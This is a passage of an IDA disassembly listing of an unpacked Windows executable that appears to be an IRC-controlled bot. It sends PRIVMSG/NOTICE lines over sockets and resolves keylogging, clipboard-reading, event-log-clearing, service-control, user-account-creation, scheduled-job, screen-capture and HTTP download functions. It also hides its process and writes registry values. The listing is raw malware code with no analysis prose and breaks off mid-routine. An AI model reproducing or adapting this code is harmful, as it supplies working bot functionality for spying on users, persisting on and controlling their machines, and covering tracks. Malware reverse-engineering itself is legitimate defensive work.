;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 72DCFCA66EC3E10B21F4FAC429654038
; File Name : u:\work\72dcfca66ec3e10b21f4fac429654038_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000290F6 ( 168182.)
; Section size in file : 000290F6 ( 168182.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401000(char *Str)
sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+342p
; sub_41AEDD+1Ep
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aLoghdriver ; "loghDriver"
loc_401010: ; CODE XREF: sub_401000+6Aj
push edi
lea eax, [ebp+var_4]
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_43C054[esi]
push dword_43C050[esi]
call dword_444150 ; RegCreateKeyExA
cmp [ebp+Str], edi
jz short loc_401051
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_4440E4 ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call dword_444144 ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401071 proc near ; CODE XREF: sub_40109F+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
or eax, 0FFFFFFFFh
test esi, esi
jz short loc_40109B
loc_401081: ; CODE XREF: sub_401071+28j
xor edx, edx
mov dl, [ecx]
xor edx, eax
and edx, 0FFh
shr eax, 8
xor eax, ds:dword_42B230[edx*4]
inc ecx
dec esi
jnz short loc_401081
loc_40109B: ; CODE XREF: sub_401071+Ej
not eax
pop esi
retn
sub_401071 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40109F(char *)
sub_40109F proc near ; CODE XREF: sub_418F38+23Ep
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor ebx, ebx
push ebx ; char *
call _malloc
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0] ; char *
mov esi, eax
call _fopen
mov edi, eax
test edi, edi
pop ecx
pop ecx
jnz short loc_4010EA
loc_4010C4: ; CODE XREF: sub_40109F+37j
xor eax, eax
jmp short loc_40110B
; ---------------------------------------------------------------------------
loc_4010C8: ; CODE XREF: sub_40109F+4Fj
inc ebx
push ebx ; NewSize
push esi ; Memory
call _realloc
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_4010C4
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
loc_4010EA: ; CODE XREF: sub_40109F+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4010C8
dec ebx
push ebx
push esi
call sub_401071
push esi ; Memory
mov ebx, eax
call _free
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_40110B: ; CODE XREF: sub_40109F+27j
pop edi
pop esi
pop ebx
retn
sub_40109F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40110F proc near ; DATA XREF: WinMain(x,x,x,x)+14o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4444F4
call dword_444218 ; closesocket
call sub_40AFF6
call dword_444224 ; WSACleanup
call dword_444224 ; WSACleanup
mov ebx, ds:dword_42B014
push 64h
call ebx ; Sleep
push 10h ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
pop esi
push esi ; Size
lea eax, [ebp+var_54]
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
push esi
lea eax, [ebp+var_158]
push eax
mov [ebp+var_48], offset byte_42B633
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_42B010 ; GetSystemDirectoryA
push esi
lea eax, [ebp+var_25C]
push eax
push edi
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_158]
push eax
push edi
push 28h
push 1
push edi
push edi
lea eax, [ebp+var_25C]
push eax
push edi
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_4011D4
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_42B004
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011D4: ; CODE XREF: sub_40110F+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_444060
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_42B000 ; ExitProcess
int 3 ; Trap to Debugger
sub_40110F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4011F5(int,char *Format,char Args)
sub_4011F5 proc near ; CODE XREF: sub_402472+3Fp
; sub_40274D+1A9p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
push [ebp+Format] ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4441A0 ; send
leave
retn
sub_4011F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40123B(int,char *Str,int,int,int)
sub_40123B proc near ; CODE XREF: sub_401F92+40p
; sub_401F92+74p ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset Str ; "NOTICE"
jnz short loc_401256
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_401256: ; CODE XREF: sub_40123B+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
push [ebp+arg_8]
sub esi, eax
push offset aS ; "%s"
lea eax, [ebp+var_400]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_400]
push eax
push [ebp+Str]
lea eax, [ebp+Dest]
push edi
push offset Format ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4441A0 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4012D4
push 7D0h
call ds:dword_42B014 ; Sleep
locret_4012D4: ; CODE XREF: sub_40123B+8Cj
leave
retn
sub_40123B endp
; =============== S U B R O U T I N E =======================================
sub_4012D6 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp
push ebx
push ebp
mov ebp, ds:dword_42B024
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_42B020
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4013F6
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4440D4, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4440F0, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_444154, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4440A4, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_444118, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4440FC, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4441A8, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_44407C, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_444124, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_44414C, eax
call esi ; GetProcAddress
cmp dword_4440D4, ebx
mov dword_4441B4, eax
jz short loc_4013D4
cmp dword_4440F0, ebx
jz short loc_4013D4
cmp dword_444154, ebx
jz short loc_4013D4
cmp dword_4440A4, ebx
jz short loc_4013D4
cmp dword_4440FC, ebx
jz short loc_4013D4
cmp dword_4441A8, ebx
jz short loc_4013D4
cmp dword_44407C, ebx
jz short loc_4013D4
cmp dword_444124, ebx
jz short loc_4013D4
cmp dword_44414C, ebx
jz short loc_4013D4
cmp eax, ebx
jnz short loc_4013DE
loc_4013D4: ; CODE XREF: sub_4012D6+B8j
; sub_4012D6+C0j ...
mov dword_444264, 1
loc_4013DE: ; CODE XREF: sub_4012D6+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_444208, eax
jz short loc_40140B
push 1
push ebx
call eax
jmp short loc_40140B
; ---------------------------------------------------------------------------
loc_4013F6: ; CODE XREF: sub_4012D6+1Dj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444268, eax
mov dword_444264, 1
loc_40140B: ; CODE XREF: sub_4012D6+117j
; sub_4012D6+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_42B018 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401520
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4441CC, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_444160, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_444084, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4440F8, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_44409C, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_44423C, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_444080, eax
call esi ; GetProcAddress
cmp dword_4441CC, ebx
mov dword_4441A4, eax
jz short loc_4014C4
loc_401490: ; DATA XREF: .data:off_43F1F0o
cmp dword_444160, ebx
jz short loc_4014C4
cmp dword_444084, ebx
jz short loc_4014C4
cmp dword_4440F8, ebx
jz short loc_4014C4
cmp dword_44409C, ebx
jz short loc_4014C4
cmp dword_44423C, ebx
jz short loc_4014C4
cmp dword_444080, ebx
jz short loc_4014C4
cmp eax, ebx
jnz short loc_4014CE
loc_4014C4: ; CODE XREF: sub_4012D6+1B8j
; sub_4012D6+1C0j ...
mov dword_44426C, 1
loc_4014CE: ; CODE XREF: sub_4012D6+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4440A0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_44422C, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4440B0, eax
call esi ; GetProcAddress
cmp dword_4440A0, ebx
mov dword_4440C0, eax
jz short loc_40152B
cmp dword_44422C, ebx
jz short loc_40152B
cmp dword_4440B0, ebx
jz short loc_40152B
cmp eax, ebx
jnz short loc_401535
jmp short loc_40152B
; ---------------------------------------------------------------------------
loc_401520: ; CODE XREF: sub_4012D6+144j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444270, eax
loc_40152B: ; CODE XREF: sub_4012D6+232j
; sub_4012D6+23Aj ...
mov dword_44426C, 1
loc_401535: ; CODE XREF: sub_4012D6+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_4016EE
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_444238, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_444150, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4440E4, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4440B8, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_444144, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4441E8, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_444248, eax
call esi ; GetProcAddress
cmp dword_444238, ebx
mov dword_44411C, eax
jz short loc_4015DE
cmp dword_444150, ebx
jz short loc_4015DE
cmp dword_4440E4, ebx
jz short loc_4015DE
cmp dword_4440B8, ebx
jz short loc_4015DE
cmp dword_444144, ebx
jz short loc_4015DE
cmp dword_4441E8, ebx
jnz short loc_4015E8
loc_4015DE: ; CODE XREF: sub_4012D6+2DEj
; sub_4012D6+2E6j ...
mov dword_444274, 1
loc_4015E8: ; CODE XREF: sub_4012D6+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_444244, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_444228, eax
call esi ; GetProcAddress
cmp dword_444244, ebx
mov dword_444170, eax
jz short loc_401623
cmp dword_444228, ebx
jz short loc_401623
cmp eax, ebx
jnz short loc_40162D
loc_401623: ; CODE XREF: sub_4012D6+33Fj
; sub_4012D6+347j
mov dword_444274, 1
loc_40162D: ; CODE XREF: sub_4012D6+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4441C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_44424C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4441D0, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4441EC, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4440F4, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_444134, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4441D8, eax
call esi ; GetProcAddress
cmp dword_4441C8, ebx
mov dword_444204, eax
jz short loc_4016D1
cmp dword_44424C, ebx
jz short loc_4016D1
cmp dword_4441D0, ebx
jz short loc_4016D1
cmp dword_4441EC, ebx
jz short loc_4016D1
cmp dword_4440F4, ebx
jz short loc_4016D1
cmp dword_444134, ebx
jz short loc_4016D1
cmp dword_4441D8, ebx
jz short loc_4016D1
cmp eax, ebx
jnz short loc_4016DB
loc_4016D1: ; CODE XREF: sub_4012D6+3C5j
; sub_4012D6+3CDj ...
mov dword_444274, 1
loc_4016DB: ; CODE XREF: sub_4012D6+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_444198, eax
jnz short loc_401703
jmp short loc_4016F9
; ---------------------------------------------------------------------------
loc_4016EE: ; CODE XREF: sub_4012D6+26Aj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444278, eax
loc_4016F9: ; CODE XREF: sub_4012D6+416j
mov dword_444274, 1
loc_401703: ; CODE XREF: sub_4012D6+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_4017CF
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_444250, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_44421C, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_444180, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_444178, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4441C0, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_44408C, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_444190, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_444130, eax
call esi ; GetProcAddress
cmp dword_444250, ebx
mov dword_444184, eax
jz short loc_4017DA
cmp dword_44421C, ebx
jz short loc_4017DA
cmp dword_444180, ebx
jz short loc_4017DA
cmp dword_444178, ebx
jz short loc_4017DA
cmp dword_4441C0, ebx
jz short loc_4017DA
cmp dword_44408C, ebx
jz short loc_4017DA
cmp dword_444190, ebx
jz short loc_4017DA
cmp dword_444130, ebx
jz short loc_4017DA
cmp eax, ebx
jnz short loc_4017E4
jmp short loc_4017DA
; ---------------------------------------------------------------------------
loc_4017CF: ; CODE XREF: sub_4012D6+438j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444280, eax
loc_4017DA: ; CODE XREF: sub_4012D6+4B9j
; sub_4012D6+4C1j ...
mov dword_44427C, 1
loc_4017E4: ; CODE XREF: sub_4012D6+4F5j
mov ebp, ds:dword_42B018
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401AA0
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_444110, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_444074, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_444194, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_44415C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4441E0, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4441C4, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_444224, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_444100, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_444094, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4440AC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_444188, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_44417C, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_444260, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_444234, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_444200, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4441DC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4441A0, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4440CC, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_444064, eax
call esi ; GetProcAddress
mov dword_444088, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4441E4, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4441B0, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_444230, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4440BC, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_444120, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_444068, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_444220, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_444168, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4441FC, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_444148, eax
call esi ; GetProcAddress
cmp dword_444110, ebx
mov dword_444218, eax
jz loc_401AAB
cmp dword_444074, ebx
jz loc_401AAB
cmp dword_444194, ebx
jz loc_401AAB
cmp dword_4441E0, ebx
jz loc_401AAB
cmp dword_4441C4, ebx
jz loc_401AAB
cmp dword_444224, ebx
jz loc_401AAB
cmp dword_444100, ebx
jz loc_401AAB
cmp dword_444094, ebx
jz loc_401AAB
cmp dword_4440AC, ebx
jz loc_401AAB
cmp dword_444188, ebx
jz loc_401AAB
cmp dword_44417C, ebx
jz loc_401AAB
cmp dword_444260, ebx
jz loc_401AAB
cmp dword_444234, ebx
jz loc_401AAB
cmp dword_444200, ebx
jz short loc_401AAB
cmp dword_4441A0, ebx
jz short loc_401AAB
cmp dword_4440CC, ebx
jz short loc_401AAB
cmp dword_444064, ebx
jz short loc_401AAB
cmp dword_444088, ebx
jz short loc_401AAB
cmp dword_4441E4, ebx
jz short loc_401AAB
cmp dword_4441B0, ebx
jz short loc_401AAB
cmp dword_444230, ebx
jz short loc_401AAB
cmp dword_4440BC, ebx
jz short loc_401AAB
cmp dword_444120, ebx
jz short loc_401AAB
cmp dword_444068, ebx
jz short loc_401AAB
cmp dword_444220, ebx
jz short loc_401AAB
cmp dword_444168, ebx
jz short loc_401AAB
cmp dword_4441FC, ebx
jz short loc_401AAB
cmp eax, ebx
jnz short loc_401AB5
jmp short loc_401AAB
; ---------------------------------------------------------------------------
loc_401AA0: ; CODE XREF: sub_4012D6+51Fj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444288, eax
loc_401AAB: ; CODE XREF: sub_4012D6+6BEj
; sub_4012D6+6CAj ...
mov dword_444284, 1
loc_401AB5: ; CODE XREF: sub_4012D6+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401BBA
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_444078, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_44425C, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_44412C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_444258, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_44413C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_444098, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_444108, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_444070, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4441B8, eax
call esi ; GetProcAddress
cmp dword_444078, ebx
mov ecx, dword_444098
mov dword_444164, eax
jz short loc_401B96
cmp dword_44425C, ebx
jz short loc_401B96
cmp dword_44412C, ebx
jz short loc_401B96
cmp dword_444258, ebx
jz short loc_401B96
cmp dword_44413C, ebx
jz short loc_401B96
cmp ecx, ebx
jz short loc_401B96
cmp dword_444108, ebx
jz short loc_401B96
cmp dword_444070, ebx
jz short loc_401B96
cmp dword_4441B8, ebx
jz short loc_401B96
cmp eax, ebx
jnz short loc_401BA0
loc_401B96: ; CODE XREF: sub_4012D6+87Ej
; sub_4012D6+886j ...
mov dword_44428C, 1
loc_401BA0: ; CODE XREF: sub_4012D6+8BEj
cmp ecx, ebx
jz short loc_401BD5
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_444254, eax
jnz short loc_401BD5
jmp short loc_401BCF
; ---------------------------------------------------------------------------
loc_401BBA: ; CODE XREF: sub_4012D6+7EAj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444290, eax
mov dword_44428C, 1
loc_401BCF: ; CODE XREF: sub_4012D6+8E2j
mov dword_444254, ebx
loc_401BD5: ; CODE XREF: sub_4012D6+8CCj
; sub_4012D6+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401C1F
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_444158, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_44418C, eax
call esi ; GetProcAddress
cmp dword_444158, ebx
mov dword_4441F4, eax
jz short loc_401C2A
cmp dword_44418C, ebx
jz short loc_401C2A
cmp eax, ebx
jnz short loc_401C34
jmp short loc_401C2A
; ---------------------------------------------------------------------------
loc_401C1F: ; CODE XREF: sub_4012D6+90Aj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_444298, eax
loc_401C2A: ; CODE XREF: sub_4012D6+939j
; sub_4012D6+941j ...
mov dword_444294, 1
loc_401C34: ; CODE XREF: sub_4012D6+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401D3B
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4440E8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_444104, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_44420C, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4440A8, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_444140, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_44406C, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4440C8, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4441D4, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4440E0, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4440EC, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_444114, eax
call esi ; GetProcAddress
cmp dword_4440E8, ebx
mov dword_4440DC, eax
jz short loc_401D46
cmp dword_444104, ebx
jz short loc_401D46
cmp dword_44420C, ebx
jz short loc_401D46
cmp dword_4440A8, ebx
jz short loc_401D46
cmp dword_444140, ebx
jz short loc_401D46
cmp dword_44406C, ebx
jz short loc_401D46
cmp dword_4440C8, ebx
jz short loc_401D46
cmp dword_4441D4, ebx
jz short loc_401D46
cmp dword_4440E0, ebx
jz short loc_401D46
cmp dword_4440EC, ebx
jz short loc_401D46
cmp dword_444114, ebx
jnz short loc_401D50
jmp short loc_401D46
